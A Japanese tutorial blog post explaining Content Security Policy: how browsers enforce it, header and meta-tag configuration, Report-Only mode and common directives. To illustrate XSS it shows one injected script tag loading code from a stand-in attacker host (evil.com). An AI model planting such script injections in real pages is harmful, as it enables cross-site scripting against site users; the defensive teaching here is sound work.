Content Security Policy(CSP)とは?仕組みと設定方法をわかりやすく解説!

Webアプリケーションを開発・運用していると、XSS(クロスサイトスクリプティング)などのセキュリティ対策が気になってきます。

その対策のひとつとして重要なのが『Content Security Policy(CSP)』です。

この記事では『Content Security Policy(CSP)』について、以下の内容を図を用いてわかりやすく解説します。

  • Content Security Policy(CSP)とは?
  • CSPの仕組み
  • CSPの設定方法
  • CSPで使う主なディレクティブ

Content Security Policy(CSP)とは?

Content Security Policy(CSP)とは?

Content Security Policy(CSP)は、ブラウザに対して「このWebページでは、どこから・どんなリソースを読み込んでよいか」を指示するためのセキュリティ仕組みです。

CSPは次のようなことを許可リスト(allowlist)でブラウザに伝えます。

  • JavaScriptはどのドメインからのものを実行してよいか
  • CSSはどこから読み込んでよいか
  • 画像・フォント・API通信はどこへのアクセスを許可するか

つまりCSPは「このWebページでは、信頼できるものだけ動かしていい。それ以外は全部ブロックして」というルールをブラウザに渡す仕組みです。その結果、悪意のあるリソースの読み込みを防ぐことができます。

CSPは主にXSS(クロスサイトスクリプティング)攻撃への対策としてよく使われる仕組みです(XSS攻撃だけでなくクリックジャッキング攻撃の対策にも使われることがあります)。

たとえば、攻撃者が次のようなスクリプトをページ内に仕込んだとします。

<script src="https://evil.com/attack.js"></script>

CSPを設定していない場合、ブラウザはこのスクリプトを普通に実行してしまいます。しかし、CSPで「JavaScriptはhttps://example.comからのみ許可」というルールを設定していれば、ブラウザは「このスクリプトは許可されていない!」と判断し、スクリプトの読み込み・実行をブロックすることができます。

CSPの仕組み

CSP(Content Security Policy)は、Webサーバーがブラウザへセキュリティルールを渡し、ブラウザがそのルールを強制的に守るという仕組みで動いています。

CSPの基本的な流れは次のとおりです。

  • WebサーバーがHTMLを返す
  • 同時にCSPのルール(ポリシー)をレスポンスヘッダーや<meta>タグで送る
  • ブラウザがCSPを読み取る
  • ブラウザは、そのルールに従ってリソースの読み込み・実行を判断する
  • ルールに違反するものは自動的にブロックする

この判断はすべてブラウザ側で行われます。ブラウザはページ内で次のような動作が発生するたびにCSPをチェックします。

  • <script src="...">によるJavaScript読み込み
  • <link rel="stylesheet">によるCSS読み込み
  • <img src="...">による画像表示
  • fetch()XMLHttpRequestによる通信
  • <iframe>によるページ埋め込み
  • インラインスクリプトやeval()の実行

それぞれの動作に対して「この読み込み・実行は、CSPで許可されている?」というチェックが入ります。

CSPの設定方法

CSP(Content Security Policy)は、大きく2つの方法で設定できます。

  • Webサーバーのレスポンスヘッダーで設定する方法(推奨)
  • HTMLの<meta>タグで設定する方法

Webサーバーのレスポンスヘッダーで設定する方法

CSPを設定するもっとも一般的で推奨される方法が、Webサーバーのレスポンスヘッダーで設定する方法です。

この方法では、HTTPレスポンスヘッダーにContent-Security-Policyを付与してブラウザにCSPを伝えます。

CSPの例を以下に示します。

Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self';

この例では、まずdefault-src 'none'で「原則すべて禁止」にします。その上で、必要なものだけをscript-src / style-src / img-src / connect-src / font-srcなどで個別に許可しています。

【補足】レポート専用モード(Report-Only)

本番適用前には、Report-Onlyモードを使うのがおすすめです。

Content-Security-Policy-Report-Only: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self';

Report-Onlyモードの特徴は次のとおりです。

  • 違反があってもブロックしない(ページや機能が壊れにくい)
  • 代わりに「本来ならブロックされるはずだった動作」を“違反”として記録する
  • 違反内容はブラウザの開発者ツール(Console)に警告として表示されることが多い
  • 設定次第で、違反レポートをサーバへ送信して収集することもできる(report-toなど)

つまりReport-Onlyモードは、「本番でCSPを強制する前に、どこが引っかかるかを洗い出すための予行演習モード」です。影響を確認しながらポリシーを調整したい場合や、いきなりサイトを壊したくない場合に便利です。

HTMLの<meta>タグで設定する方法

CSPは、HTMLの<meta>タグを使って設定することもできます。この方法では、HTMLの<head>内にhttp-equiv="Content-Security-Policy"を指定してCSPを定義します。

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self';">

これにより、ブラウザはこのHTMLを読み込んだタイミングでCSPを適用します。

CSPで使う主なディレクティブ

CSPでは主に下記のディレクティブを使うことが多いです。

ディレクティブ制御対象説明
default-srcすべてのリソース各ディレクティブが未指定の場合に適用される基本ルール
script-srcJavaScriptJavaScriptの読み込み元・実行元を制御
style-srcCSSCSSファイルやstyle要素の読み込み元を制御
img-src画像画像(<img>など)の読み込み元を制御
font-srcフォントWebフォントの読み込み元を制御
connect-src通信fetch / XHR / WebSocketなどの通信先を制御
frame-srciframe<iframe>で読み込むページの許可元を制御
frame-ancestors埋め込み元このページをiframeに埋め込めるサイトを制御(クリックジャッキング対策)
require-trusted-types-for 'script'JavaScriptTrusted Typesを強制し、DOM XSSを防止(上級者向け)

CSPで使える「特別な意味を持つ指定値」には以下のようなものがあります。

指定値意味
'self'同一オリジン
'none'一切許可しない

例えば、script-src 'self';と指定すると、同一オリジンから配信されたJavaScriptのみ実行可能になります。

本記事のまとめ

この記事では『Content Security Policy(CSP)』について説明しました。

CSPは「このWebページで許可するリソースだけを明示する」ための仕組みです。CSPを設定することで、

  • 意図しないJavaScriptの実行
  • 外部リソースの不正な読み込み

といったリスクを抑えることができます。まずはReport-Onlyモードで影響を確認しながら、少しずつポリシーを調整していくのがおすすめです。CSPを正しく設定し、Webページの安全性を高めていきましょう。

お読みいただきありがとうございました。

スポンサーリンク